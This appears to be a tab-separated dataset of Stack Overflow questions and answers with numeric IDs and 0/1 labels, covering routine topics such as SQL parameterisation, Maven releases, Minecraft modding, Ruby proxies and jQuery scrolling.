18028548	0	 <p>Just put that in your hosts file and you won't have to worry about DNS.</p> <p>But really, doesn't it make more sense to use an ENV var?</p>
13659262	0	 <p><code>CR</code> represents the regular Viginere ciphertext, <code>CM</code> the modified Viginere ciphertext</p> <pre><code>CR[i] = (P[i] + K[i]) mod 26 CM[i] = (P[i] + K[i] + CM[i-1]) mod 26 = (CR[i] + CM[i-1]) mod 26 </code></pre> <p>Now simply solve for the original ciphertext <code>CR</code></p> <pre><code>CR[i] = (CM[i] - CM[i-1]) mod 26 </code></pre> <p>Once you have the regular ciphertext, break it as usual.</p>
8593533	0	 <p>This is a fairly common problem.</p> <p>One often used solution is to have pipes as a communication mechanism from worker threads back to the I/O thread. Having completed its task a worker thread writes the pointer to the result into the pipe. The I/O thread waits on the read end of the pipe along with other sockets and file descriptors and once the pipe is ready for read it wakes up, retrieves the pointer to the result and proceeds with pushing the result into the client connection in non-blocking mode.</p> <p>Note, that since pipe reads and writes of less then or equal to <code>PIPE_BUF</code> are atomic, the pointers get written and read in one shot. One can even have multiple worker threads writing pointers into the same pipe because of the atomicity guarantee.</p>
6860743	0	 <p>Why not store the values in the list and in the map the key -> index mapping?</p> <p>so for getEntry you only need on lookup (in the list which should be anyway faster than a map) and for remove you do not have to travers the whole list. Syhnronization happens so.</p>
866626	0	 <p>For UNIX, <code>man setitimer</code>.</p>
30010264	0	 <p>I'm just messing around with the Gdriv.es service and the link you posted. Thanks for sending me down the rabbit-hole... </p> <p>Google Drive folders seem to either have 28 or 72 character long ids. Most of your product subfolders have the 28 character id format. Interestingly, there are some other folders that show up in your posted link that don't if you go in a different way to the same folder <a href="https://drive.google.com/drive/folders/0ByX-7AGzNtLkfnJDcC0tRm5xcE9aYlp3akljS3p4OWxpeDNId0FlaEdONFVTak0xeld4NGc" rel="nofollow">https://drive.google.com/drive/folders/0ByX-7AGzNtLkfnJDcC0tRm5xcE9aYlp3akljS3p4OWxpeDNId0FlaEdONFVTak0xeld4NGc</a></p> <p>Going through my own drive, what I'm seeing is that all of the older folders I have from 2009 and earlier have the 72 character id format. Folders from 2012 are 28 character ids. Unfortunately, I don't have anything in mine between summer 2009 and 2012.</p> <p>A quick twitter search shows a <a href="https://twitter.com/vivekhaldar/status/275090459867635713" rel="nofollow">Dec 2012 tweet</a> that kind of looks like an announcement.</p> <p>My guess is there was some sort of API change with Google Drive from the 72 to the 28 character ids before then, and Gdriv.es doesn't support the old format. Maybe if your root folder was created before that change, you could create a new root folder and shift your content over?</p>
12942911	0	Octopress, github pages, CNAME domain and google website search <p>My <a href="http://www.convalesco.org" rel="nofollow">blog</a> was successfully transferred to <a href="http://octopress.org" rel="nofollow">octopress</a> and github-pages. My problem though is that website's search uses <a href="https://encrypted.google.com/search?q=test&amp;q=site%3awww.convalesco.org" rel="nofollow">google search</a> but the result of 'search' as you can see, are pointing to the old (wordpress) links. Now these links have change structure, following default octopress structure.</p> <p>I don't understand why this is happening. Is it possible for google to have stored in it's DB the old links (my blog was 1st page for some searches, but gathered just 3.000 hits / month... not much by internet's standards) and this will change with time, or is it something I'm able to change somehow?</p> <p>thanks.</p>
25455197	0	 <pre><code>mysql_insert_id(); </code></pre> <p>That's it :)</p>
9473396	0	 <p>Well, there are <code>splay trees</code> and <code>AVL Trees</code> that does what you are asking for but those are limited to a max of 2 children per node. You could try modifying them. The problem could be <code>Form a tree which is as wide as possible</code>.</p>
22470118	0	 <p>You are not passing any parameters to the query.</p> <p>Instead of:</p> <pre><code>cur.execute('INSERT INTO report_table (id, date, time, status) VALUES (id, date, time, status)') </code></pre> <p>create a parameterized query:</p> <pre><code>cur.execute("""INSERT INTO report_table (id, date, time, status) VALUES (%(id)s, %(date)s, %(time)s, %(status)s)""", {'id': id, 'date': date, 'time': time, 'status': status}) </code></pre> <p>There are other fixes you should apply to the code:</p> <ul> <li>define <code>db</code> and <code>cursor</code> variables before the loop so that you don't need to connect to the database and open a cursor on every iteration</li> <li>you should properly close the cursor and connection objects</li> <li>instead of calling <code>INSERT</code> database query on each iteration step, consider gathering the data into a list and then insert once after the loop</li> </ul> <p>Hope that helps.</p>
5448806	0	Syntax for naming foreign keys <p>Using:</p> <pre><code>ALTER TABLE dbo.Table1Name ADD FOREIGN KEY (colname) REFERENCES dbo.Table2Name (colname) </code></pre> <p>I get a foreign key with a name like: FK&#95;&#95;_colname&#95;&#95;673F4B05</p> <p>I want it to be named: FK_Tabl1Name_Table2Name, </p> <p>...so that it will be easy to read when browsing the DB structure in SSMS. I know I can go back into the GUI and do this, but I want to be able to script it.</p> <p>So What's the SQL sytnax for adding a name to the FK? Nothing I've found online seems to bother with this.</p>
29281643	0	 <pre><code>DataTable dttable = new DataTable(); dttable = gettable(dtgreater, dtcurrentdate); public DataTable gettable(List&lt;DateTime&gt; objct1, DateTime objct2) { DataTable data=null; sql = "select library_issue.STUDENTCODE,library_issue.studentname,library_book.bookname,library_issue.issuedate,library_issue.returndate from library_issue join library_book on library_book.book_id = library_issue.book_id where library_issue.returndate ='" + objct1[j].ToString("dd/MM/yyyy") + "'"; ds = obj.openDataset(sql, Session["SCHOOLCODE"].ToString()); Label1.Text = (ds.Tables[0].Rows.Count).ToString(); for (int j = 0; j &lt; dtgreater.Count; j++) { if(data.Columns.count==0) { data = new DataTable(); data.Columns.Add("STUDENTCODE", typeof(int)); data.Columns.Add("Studentname", typeof(string)); data.Columns.Add("Bookname", typeof(string)); data.Columns.Add("Issuedate", typeof(string)); data.Columns.Add("Returndate", typeof(string)); data.Columns.Add("NO of Days Exceeded", typeof(string)); } for (int i = 0; i &lt; ds.Tables[0].Rows.Count; i++) { TimeSpan ts = objct1[j] - objct2; Label1.Text = ts.ToString("dd"); data.Rows.Add(ds.Tables[0].Rows[i]["STUDENTCODE"], ds.Tables[0].Rows[i]["studentname"], ds.Tables[0].Rows[i]["bookname"], ds.Tables[0].Rows[i]["issuedate"], ds.Tables[0].Rows[i]["returndate"], ts.ToString("dd")); } return data; } </code></pre>
24512566	0	 <p>I recommend looking over this documentation for the <a href="https://developer.apple.com/library/ios/documentation/AddressBookUI/Reference/ABNewPersonViewController_Class/Reference/Reference.html" rel="nofollow">ABNewPersonViewController</a> class. </p> <p>The setup I would use is to setup an IBAction to your "Add Contact" button. The IBAction can create an instance of the New Person VC.</p> <p>If you need to predefine some of the fields for the new contact, you will need to create an ABRecordRef and set the properties you want to be in the new contact. Then set the New Person VC's <code>displayedPerson</code> property to this record.</p> <p>At the end of the method, you can call `[self.navigationController presentViewController: newPersonVC];</p> <p>This may be possible in a storyboard, but I have always found it easier to do in code. </p> <p>Hopefully this will help.</p>
19410010	0	 <p>Yes, of course this is possible. You can either use a 3D array:</p> <pre><code>byte[][][] array = new byte[w][h][3]; array[0][0][0] = 123; array[0][0][1] = 234; array[0][0][2] = 125; </code></pre> <p>Or use a 2D array of ints. ints are 4 bytes, which is enough for your requirements:</p> <pre><code>int[][] array = new int[w][h]; array[0][0] = (123 &lt;&lt; 16) | (234 &lt;&lt; 8) | (125); </code></pre>
13353544	0	Ruby, Tor and Net::HTTP::Proxy <p>My apologies in advance if this is a noobish doubt: I want to use a proxy in my Ruby code to fetch a few web pages. And I want to be sneaky about it! So I am using Tor.</p> <p>I have Tor running, and I am able to use Net::HTTP.get(uri) as usual. But I can't figure out how to use Net::HTTP::Proxy to fetch the uri. I also can't figure out how using Tor will help make my fetches anonymous. </p> <p>Any help is greatly appreciated. Please don't just add a <a href="http://ruby-doc.org/stdlib-1.9.3/libdoc/net/http/rdoc/Net/HTTP.html#method-c-Proxy">link to the ruby-doc page for Net::HTTP::Proxy</a>. If I had understood that, I would not be asking this here :-)</p> <hr> <p>Another easy way to do this is using <a href="http://socksify.rubyforge.org/">SOCKSify</a>, but in this case, I receive the following error:</p> <p><code>/usr/lib/ruby/gems/1.9.2-p290/gems/socksify-1.5.0/lib/socksify.rb:189:in 'socks_authenticate': SOCKS version not supported (SOCKSError)</code></p> <p>I have never done any network programming before. Any guidance about this will also be very helpful. Thanks :-)</p>
27939800	0	 <p>Try attribute <code>colorControlActivated</code>:</p> <p>themes.xml</p> <p></p> <pre><code>&lt;style name="CET" parent="Theme.AppCompat.Light.NoActionBar"&gt; &lt;item name="windowActionBar"&gt;false&lt;/item&gt; &lt;item name="colorPrimary"&gt;@color/primary&lt;/item&gt; &lt;item name="colorPrimaryDark"&gt;@color/primary_dark&lt;/item&gt; &lt;item name="colorAccent"&gt;@color/accent&lt;/item&gt; &lt;item name="colorControlActivated"&gt;#a32b30&lt;/item&gt; &lt;/style&gt; </code></pre> <p></p>
39626771	0	Batch file not keeping variables <p>Why doesn't the below batch file keep variables when CMD.exe terminates</p> <pre><code>@echo off cmd /c "set var=hi" if defined var (echo var is defined ("var=%var%")) else (echo var isn't defined) pause exit </code></pre> <p>Is there any way to use CMD /c, whilst keeping variables? and why doesn't CMD /c keep variables?</p>
20534760	0	 <p>You can use Householder elimination to get the QR decomposition of <code>delta0</code>. Then the determinant of the Q part is +/-1 (depending on whether you did an even or odd number of reflections) and the determinant of the R part is the product of the diagonal elements. Both of these are easy to compute without running into underflow hell---and you might not even care about the first.</p>
7245634	0	Deactivate line feed with css of tag p <p>Hello I'm defining a css style and I have a problem with the tag p. I am defining a style p tag and I get a line feed but I would like to deactivate its Line feed instead. How to do that?</p>
18784882	0	 <p>A similar problem and its solution is <a href="http://stackoverflow.com/questions/12920225/text-selection-in-divcontenteditable-when-double-click">here</a>, I am surprised for finding it in the second day of search considering my offensive search yesterday. Any better solution is welcomed, since even this one cannot bypass text selection at first double click.</p>
30224228	0	 <p>The wiki page says to use a "Java source files", not "Interface Builder Storyboard files" as your screen capture shows. You also need to define an output file, or Xcode ignores the rule (since it doesn't generate anything).</p> <p>I just verified that adding a Java source file to a 6.3.1 project works with the wiki page's instructions. Be sure that your app is selected in the "Add to targets:" when adding the Java source file.</p> <p>Project: <img src="https://i.stack.imgur.com/jt1af.png" alt="enter image description here"></p> <p>Build log: <img src="https://i.stack.imgur.com/KPaiz.png" alt="enter image description here"></p>
23733985	0	 <p>Use ng-class and call a function on your controller that does the check:</p> <pre><code>$scope.getClass = function(text) { return text.slice(-1) === '!' ? 'error':''; } </code></pre> <p><a href="http://jsfiddle.net/hHdfF/" rel="nofollow"><h2>Fiddle</h2></a></p> <p>Update: </p> <pre><code>&lt;div ng-class="(message.text.slice(-1) === '!' ? 'error':'')"&gt;{{message.text}}&lt;/div&gt; </code></pre>
34999434	0	maven-release-plugin deploying SNAPSHOT <p>I have a Maven project and now want to release it with the maven-release-plugin. Unfortunately after executing <code>mvn release:prepare</code> the git tag contains the old version number (1.0-SNAPSHOT) and when deploying to artifactory the SNAPSHOT version is used instead of the desired release version.</p> <p>I already found <a href="https://issues.apache.org/jira/browse/MRELEASE-812" rel="nofollow">this</a> bug, but all suggested solutions are not working for me.</p> <p>I'm using:</p> <ul> <li>Apache Maven 3.3.9</li> <li>git version 2.7.0 (German)</li> </ul> <p>I already tried several versions of the release plugin (2.4, 2.5.3, 2.5.1) but none woked. Does anyone have a fix for that problem?</p> <p><strong><em>EDIT1:</em></strong> The current pom.xml</p> <pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"&gt; &lt;modelVersion&gt;4.0.0&lt;/modelVersion&gt; &lt;groupId&gt;mygroupid&lt;/groupId&gt; &lt;artifactId&gt;myartifact&lt;/artifactId&gt; &lt;version&gt;1.0-SNAPSHOT&lt;/version&gt; &lt;!-- [...] --&gt; &lt;scm&gt; &lt;url&gt;http://url/to/gitlab&lt;/url&gt; &lt;connection&gt;scm:git:git@gitlab:group/repo.git&lt;/connection&gt; &lt;developerConnection&gt;scm:git:git@gitlab:group/repo.git&lt;/developerConnection&gt; &lt;tag&gt;HEAD&lt;/tag&gt; &lt;/scm&gt; &lt;!-- [...] --&gt; &lt;distributionManagement&gt; &lt;!-- [...] --&gt; &lt;/distributionManagement&gt; &lt;/project&gt; </code></pre>
13252265	0	 <p>You could animate the footer with <a href="http://api.jquery.com/fadeIn/" rel="nofollow">fadeIn()</a> and <a href="http://api.jquery.com/fadeOut/" rel="nofollow">fadeOut()</a> jQuery effects.</p> <pre><code>$(window).scroll(function() { if($(document).scrollTop() &gt; 100) $('#footer').fadeIn(); else $('#footer').fadeOut(); }); </code></pre> <p>If you dig deep enough into these effects you will find that both uses <a href="http://api.jquery.com/animate/" rel="nofollow">animate()</a> effect with opacity.</p>
20703092	0	 <p>Look for sources titled "C for Scientists" or "C for engineers". The first google hit contains answers to your questions: (<a href="http://www2.warwick.ac.uk/fac/sci/physics/current/teach/module_home/px270/week2/week_2a.pdf" rel="nofollow">http://www2.warwick.ac.uk/fac/sci/physics/current/teach/module_home/px270/week2/week_2a.pdf</a>).</p> <hr> <p>Have also a look at (<a href="http://sccn.ucsd.edu/labinfo/computer-faq/Numerical_Recipes.html" rel="nofollow">http://sccn.ucsd.edu/labinfo/computer-faq/Numerical_Recipes.html</a>), your paths may be different.</p>
25404286	0	 <p>use the <a href="https://metacpan.org/pod/Time::Moment" rel="nofollow">Time::Moment</a> CPAN module:</p> <pre><code>use Time::Moment; my $data = 0x0FA89EEB0F; my $seconds = $data &gt;&gt; 8; # Right shift to remove fractional second. my $milliseconds = 10 * ( $data &amp; 0xff ); # Hundredths to Milli my $tm = Time::Moment-&gt;new( year =&gt; 2000, month =&gt; 1, day =&gt; 1 ); #base datetime my $tm2 = $tm-&gt;plus_seconds($seconds)-&gt;plus_milliseconds($milliseconds); print $tm2, "\n"; #&lt;-- prints: 2008-04-28T14:42:51.150Z </code></pre>
1102547	0	Working with Dreamweaver and ASP.NET - is this recommended? <p>I am a ASP.NET 3.5 web developer using VS 2008. I just started at a new company and there are alot of Web Designers here (never worked with Web Designers before). They all use Dreamweaver CS3 and PhotoShop (something i know nothing about).</p> <p><strong>What I would like to know is the following:</strong></p> <ul> <li>Would they have problems opening my ASP.NET pages in Dreamweaver? ( I heard they might not be able to ).</li> <li>What about when i use MasterPages? Will they be able to open my pages when i use MasterPages, or must i stay away from MasterPages?</li> </ul> <p>Thanks in advance!</p>
4402288	0	 <p>I'm not an expert in hard real-time scheduling, but this is what your algorithm sounds like to me.</p> <p>It bears very strong resemblance with what happens in aerospace systems. Your system looks more flexible, but basically it all grinds down to knowing in advance that you have the resources to run the tasks that you need to run.</p> <p>Critical embedded aerospace systems prefer to be deterministic, but as a protection against potential flaws (tasks can run longer than allocated, if let), the tasking engine will interrupt those tasks to let other taks complete. Any free cycle left can sometimes be used to complete the interrupted tasks, or the task is deemed to have failed.</p> <p>Note that you can only fail tasks that are not critical, so you must construct your critical tasks carefully, or have a priority system whereby critical tasks have a chance to complete no matter what.</p> <p>You're now back to square one: you need to make sure that the ressources are sufficient to run the tasks required in advance.</p> <p>hth,<br> asoundmove.</p>
6699850	0	 <p>maybe you think about such declaration (I think this is it):</p> <pre><code>public abstract class AbstractEventBuffer&lt;E extends BufferedEvent&lt;?&gt;&gt; </code></pre> <p>or:</p> <pre><code>public abstract class AbstractEventBuffer&lt;T, E extends BufferedEvent&lt;T&gt;&gt; </code></pre> <p>or</p> <pre><code>public abstract class AbstractEventBuffer&lt;E extends BufferedEvent&lt;? extends Object&gt;&gt; </code></pre> <p>or such:</p> <pre><code>public abstract class AbstractEventBuffer&lt;BufferedEvent&gt; { </code></pre> <p>?</p>
11890124	0	Java nio server client asynchonous <p>I made a server myself using java nio and a selector. I can receive the data and answer directly from the client if needed.</p> <p>But now I want a thread that will process data, and anytime it will send data to each client.</p> <p>So how can I do that? Also how to keep in memory all channels to write the data to each client ?</p> <p>If you need I can post the part of my code with java nio.</p>
21586688	0	callback function with underscore _.each() <p>I'm trying to implement an _.each() (that I wrote) inside another function and I keep getting "undefined" returned to me. I'm trying to use _.each() to apply a test function to an array. I know this a simple callback syntax issue, but its perplexing me. </p> <p>thanks in advance from a noob.</p> <p>here's my function:</p> <pre><code>_.filter = function(collection, test) { _.each(collection, test()); }; </code></pre> <p>this returns 'undefined'</p> <p>this is the array i'm passing as 'collection':</p> <pre><code>[1, 2, 3, 4, 5, 6] </code></pre> <p>this is the function i'm passing as 'test': </p> <pre><code>function (num) { return num % 2 !== 0; } </code></pre> <p>here's my _.each():</p> <pre><code>_.each = function(collection, iterator) { if( Object.prototype.toString.call( collection ) === '[object Array]' ) { for (var i=0; i&lt;collection.length; i++){ iterator(collection[i], i, collection); } } else if (typeof collection === 'object'){ for (var i in collection){ iterator(collection[i], i, collection) } } else if (typeof collection === 'int'){ console.log('int') } }; </code></pre>
15665391	0	 <p>Unescaped quotes inside quotes</p> <p>This</p> <pre><code>$sql = pg_query("SELECT title FROM books WHERE ownedby=("$user_id")"); </code></pre> <p>Should be</p> <pre><code>$sql = pg_query("SELECT title FROM books WHERE ownedby='$user_id'"); </code></pre> <p>Or</p> <pre><code>$sql = pg_query("SELECT title FROM books WHERE ownedby=\"$user_id\""); </code></pre>
36397864	0	 <p>A claim from website A will not be sent to website B.</p> <p>This could work this way: </p> <ol> <li>A users logs on to site A (using credentials from B2C)</li> <li>User saves info into B2C (using Graph API)</li> <li>Redirect to Site B</li> <li>User logs on to site B (this can occur without prompting the user, same B2C)</li> <li>Claim are created for site B, but they can contain values set during step 2</li> </ol> <p>graph API: <a href="https://azure.microsoft.com/en-us/documentation/articles/active-directory-b2c-devquickstarts-graph-dotnet/" rel="nofollow">https://azure.microsoft.com/en-us/documentation/articles/active-directory-b2c-devquickstarts-graph-dotnet/</a> <hr /> If the info is already in the B2C directory, the example is even more simple, create 2 sites: <a href="https://azure.microsoft.com/nl-nl/documentation/articles/active-directory-b2c-devquickstarts-web-dotnet/" rel="nofollow">https://azure.microsoft.com/nl-nl/documentation/articles/active-directory-b2c-devquickstarts-web-dotnet/</a></p> <p>Create a custom attribute to store the information: <a href="https://azure.microsoft.com/nl-nl/documentation/articles/active-directory-b2c-reference-custom-attr/" rel="nofollow">https://azure.microsoft.com/nl-nl/documentation/articles/active-directory-b2c-reference-custom-attr/</a></p> <ul> <li>Create a B2C custom attribute: </li> <li>Create 2(both) B2C Applications</li> <li>Create a single B2C sign-in policy using the custom attribute and add it to the claims</li> <li>Use the same policy in both applications, both should see the same claim</li> </ul>
23625044	0	 <p>It is a package to be able to use <code>async</code> and <code>await</code> in .NET 4.0 projects.</p> <p>But be aware. I encountered the problem where these libraries cannot be used in .NET 4.5 projects. But this was before the initial release of .NET 4.5. Therefore this problem might be resolved.</p>
17667578	0	 <p>you're not using Stage3D. If you use Starling, ND2D or write your own Stage3D wrapper you'll be able to get better performance.</p> <p>You can also take a look at Jackson Dunstan's blog, this post is especially helpful: <a href="http://jacksondunstan.com/articles/2279" rel="nofollow">http://jacksondunstan.com/articles/2279</a></p>
30768030	0	minecraft forge doesnt seem to call postInit <p>I am writing an addon to the minecraft mod Thaumcraft, specifically one that adds aspects to blocks based on the contents of a file. This is for Minecraft 1.7.10</p> <p>The code runs the preInit method, everything goes fine. However, the game crashes on the postInit method. I cannot figure out why it crashes</p> <p>Here is the stacktrace from the crash report:</p> <pre><code>---- Minecraft Crash Report ---- // I'm sorry, Dave. Time: 6/10/15 5:40 PM Description: Initializing game java.lang.StringIndexOutOfBoundsException: String index out of range: -1 at java.lang.String.substring(Unknown Source) at polymer.aspectadder.AspectAdder.decodeValues(AspectAdder.java:105) at polymer.aspectadder.AspectAdder.postInit(AspectAdder.java:64) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source) at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) at java.lang.reflect.Method.invoke(Unknown Source) at cpw.mods.fml.common.FMLModContainer. handleModStateEvent(FMLModContainer.java:513) at sun.reflect.GeneratedMethodAccessor3.invoke(Unknown Source) at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) at java.lang.reflect.Method.invoke(Unknown Source) at com.google.common.eventbus.EventSubscriber. handleEvent(EventSubscriber.java:74) at com.google.common.eventbus.SynchronizedEventSubscriber. handleEvent(SynchronizedEventSubscriber.java:47) at com.google.common.eventbus.EventBus.dispatch(EventBus.java:322) at com.google.common.eventbus.EventBus. dispatchQueuedEvents(EventBus.java:304) at com.google.common.eventbus.EventBus.post(EventBus.java:275) at cpw.mods.fml.common.LoadController. sendEventToModContainer(LoadController.java:208) at cpw.mods.fml.common.LoadController. propogateStateMessage(LoadController.java:187) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source) at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) at java.lang.reflect.Method.invoke(Unknown Source) at com.google.common.eventbus.EventSubscriber. handleEvent(EventSubscriber.java:74) at com.google.common.eventbus.SynchronizedEventSubscriber .handleEvent(SynchronizedEventSubscriber.java:47) at com.google.common.eventbus.EventBus.dispatch(EventBus.java:322) at com.google.common.eventbus.EventBus. dispatchQueuedEvents(EventBus.java:304) at com.google.common.eventbus.EventBus.post(EventBus.java:275) at cpw.mods.fml.common.LoadController. distributeStateMessage(LoadController.java:118) at cpw.mods.fml.common.Loader.initializeMods(Loader.java:694) at cpw.mods.fml.client.FMLClientHandler. finishMinecraftLoading(FMLClientHandler.java:288) at net.minecraft.client.Minecraft.func_71384_a(Minecraft.java:541) at net.minecraft.client.Minecraft.func_99999_d(Minecraft.java:867) at net.minecraft.client.main.Main.main(SourceFile:148) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source) at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) at java.lang.reflect.Method.invoke(Unknown Source) at net.minecraft.launchwrapper.Launch.launch(Launch.java:135) at net.minecraft.launchwrapper.Launch.main(Launch.java:28) A detailed walkthrough of the error, its code path and all known details is as follows: --------------------------------------------------------------------------- ------------ -- Head -- Stacktrace: at java.lang.String.substring(Unknown Source) at polymer.aspectadder.AspectAdder.decodeValues(AspectAdder.java:105) at polymer.aspectadder.AspectAdder.postInit(AspectAdder.java:64) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source) at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) at java.lang.reflect.Method.invoke(Unknown Source) at cpw.mods.fml.common.FMLModContainer. handleModStateEvent(FMLModContainer.java:513) at sun.reflect.GeneratedMethodAccessor3.invoke(Unknown Source) at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) at java.lang.reflect.Method.invoke(Unknown Source) at com.google.common.eventbus.EventSubscriber. handleEvent(EventSubscriber.java:74) at com.google.common.eventbus.SynchronizedEventSubscriber. handleEvent(SynchronizedEventSubscriber.java:47) at com.google.common.eventbus.EventBus.dispatch(EventBus.java:322) at com.google.common.eventbus.EventBus. dispatchQueuedEvents(EventBus.java:304) at com.google.common.eventbus.EventBus.post(EventBus.java:275) at cpw.mods.fml.common.LoadController. sendEventToModContainer(LoadController.java:208) at cpw.mods.fml.common.LoadController. propogateStateMessage(LoadController.java:187) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source) at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) at java.lang.reflect.Method.invoke(Unknown Source) at com.google.common.eventbus.EventSubscriber. handleEvent(EventSubscriber.java:74) at com.google.common.eventbus.SynchronizedEventSubscriber. handleEvent(SynchronizedEventSubscriber.java:47) at com.google.common.eventbus.EventBus.dispatch(EventBus.java:322) at com.google.common.eventbus.EventBus. dispatchQueuedEvents(EventBus.java:304) at com.google.common.eventbus.EventBus.post(EventBus.java:275) at cpw.mods.fml.common.LoadController. distributeStateMessage(LoadController.java:118) at cpw.mods.fml.common.Loader.initializeMods(Loader.java:694) at cpw.mods.fml.client.FMLClientHandler. finishMinecraftLoading(FMLClientHandler.java:288) at net.minecraft.client.Minecraft.func_71384_a(Minecraft.java:541) -- Initialization -- Details: Stacktrace: at net.minecraft.client.Minecraft.func_99999_d(Minecraft.java:867) at net.minecraft.client.main.Main.main(SourceFile:148) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source) at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) at java.lang.reflect.Method.invoke(Unknown Source) at net.minecraft.launchwrapper.Launch.launch(Launch.java:135) at net.minecraft.launchwrapper.Launch.main(Launch.java:28) </code></pre> <p>The file had the following line in it:</p> <p>minecraft:sponge=WATER,WATER,WATER,VOID,VOID,CROP</p> <p>This should add 3 WATER aspects, 2 VOID aspects, and 1 CROP aspect.</p> <p>Here is my code:</p> <pre><code>package polymer.aspectadder; import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.IOException; import java.util.Properties; import java.util.Set; import java.util.logging.Logger; import net.minecraft.item.Item; import thaumcraft.api.ThaumcraftApi; import thaumcraft.api.aspects.Aspect; import thaumcraft.api.aspects.AspectList; import cpw.mods.fml.common.Mod; import cpw.mods.fml.common.Mod.EventHandler; import cpw.mods.fml.common.event.FMLInitializationEvent; import cpw.mods.fml.common.event.FMLPostInitializationEvent; import cpw.mods.fml.common.event.FMLPreInitializationEvent; import cpw.mods.fml.common.registry.GameRegistry; @Mod(modid = "aspectadder", name = "Aspect Adder", version = "1.0,minecraft 1.7.10", dependencies="required-after:Thaumcraft") public class AspectAdder { /* * A mod that allows the adding of Thaumcraft aspects to items, blocks, * or entities (enchantments may be added one day :D) * This is done through a config file. * * This is an example of how to add an aspect to something, in this case * adding 3 telum and 2 instrumentum to a Tinker's Construct Battleaxe * * tconstruct:battleaxe=WEAPON,WEAPON,WEAPON,TOOL,TOOL */ public static Logger log = Logger.getLogger("Aspect Adder"); static String pathOfClass = AspectAdder.class.getProtectionDomain() .getCodeSource().getLocation().getPath(); static String pathOfInstall = pathOfClass.substring(0, pathOfClass.indexOf("mods")); //back up to the install folder static String path = pathOfInstall.concat("config/aspectadder").substring(6); @EventHandler public void preInit(FMLPreInitializationEvent event){ if(System.getProperty("os.name").startsWith("Windows")){ path.replaceAll("/", "\\\\"); } log.info("Creating a file at " + path + " if one does not exist."); try { new File(path).mkdirs(); new File(path + File.separator + "entries.txt").createNewFile(); } catch (IOException e) { e.printStackTrace(); } } @EventHandler public void init(FMLInitializationEvent event){ } @EventHandler public void postInit(FMLPostInitializationEvent event){ decodeValues(readFile()); } static Properties readFile(){ Properties p = new Properties(); File f = new File(path + File.separator + "entries.txt"); FileInputStream inStream; try { inStream = new FileInputStream(f); p.load(inStream); inStream.close(); } catch (FileNotFoundException fnfe) { try { f.createNewFile(); } catch (IOException e) { e.printStackTrace(); } // do nothing, since we handled this at lines 39-44 // this catch clause is just here so the code runs // plus, the file is blank anyways if it wasn't there } catch (IOException ioe) { ioe.printStackTrace(); } return p; } static void decodeValues(Properties p){ Set&lt;Object&gt; keySet= p.keySet(); Object[] keys = new Object[p.size()]; int dex = 0; for(Object o : keySet){ keys[dex] = o; dex++; } for(int i = 0; i &lt; keys.length; i++){ String key = keys[i].toString(); Item item = GameRegistry.findItem( key.toString().substring(0, key.indexOf(":")), key.toString().substring(key.indexOf(":") + 1)); //these are modID and item name, without the colon addAspects(item, p.getProperty(key)); } } static void addAspects(Item item, String aspects) { log.info("Adding Aspects: " + aspects + " to " + item.getUnlocalizedName()); AspectList list = new AspectList(); int commaIndex = 0; int i = 0; do{ String aspect = aspects.substring(commaIndex + 1, aspects.substring(commaIndex + 1).indexOf(",")); commaIndex = aspects.substring(commaIndex + 1).indexOf(","); list.add(Aspect.getAspect(aspect), 1); i++; log.info("Attempting to add " + Aspect.getAspect(aspect).getTag() + " (" + aspect.toLowerCase() + ") to " + item.getUnlocalizedName()); }while(commaIndex &lt; aspects.lastIndexOf(",")); ThaumcraftApi.registerObjectTag(item.getUnlocalizedName(), list); } } </code></pre> <p>So you don't have to count all those lines, the crash seems to be caused by this section of the code:</p> <pre><code> for(int i = 0; i &lt; keys.length; i++){ String key = keys[i].toString(); Item item = GameRegistry.findItem( //the following line is the one in the crash report key.toString().substring(0, key.indexOf(":")), key.toString().substring(key.indexOf(":") + 1)); //these are modID and item name, without the colon addAspects(item, p.getProperty(key)); } </code></pre>
9786736	1	How to read through collection in chunks by 1000? <p>I need to read whole collection from MongoDB ( collection name is "test" ) in Python code. I tried like </p> <pre><code> self.__connection__ = Connection('localhost',27017) dbh = self.__connection__['test_db'] collection = dbh['test'] </code></pre> <p>How to read through collection in chunks by 1000 ( to avoid memory overflow because collection can be very large ) ? </p>
23207215	0	Free scrolling and parallax issue (jQuery Scroll Path + Parallax) <p>in a project where I need to build something like the famous parallax-powered Mario Kart Wii Experience site, which also comes with horizontal and vertical scroll (if you haven't seen it, here it is: <a href="http://www.nintendo.com.au/gamesites/mariokartwii/#home" rel="nofollow">http://www.nintendo.com.au/gamesites/mariokartwii/#home</a>)</p> <p>For the scrolling effect, I grabbed the JQuery Scroll Path plugin (website here: <a href="http://joelb.me/scrollpath/" rel="nofollow">http://joelb.me/scrollpath/</a>), and it seems to suit my needs concerning the free scrolling. </p> <p>The problem comes when I try to include some plugin to generate the parallax effect. I tried several plugins (including Stellar.js, jInvertScroll, Parallax.js, Parallax-JS), but none of them seem to work properly. I assume that there's some kind of relationship between the custom scroll that comes with the Scroll Path plugin and the need of the parallax plugins of working with the navigator scroll to make the effect work.</p> <p>I searched in Google for some similar situation (i.e., implementing Scroll Path with some parallax plugin) 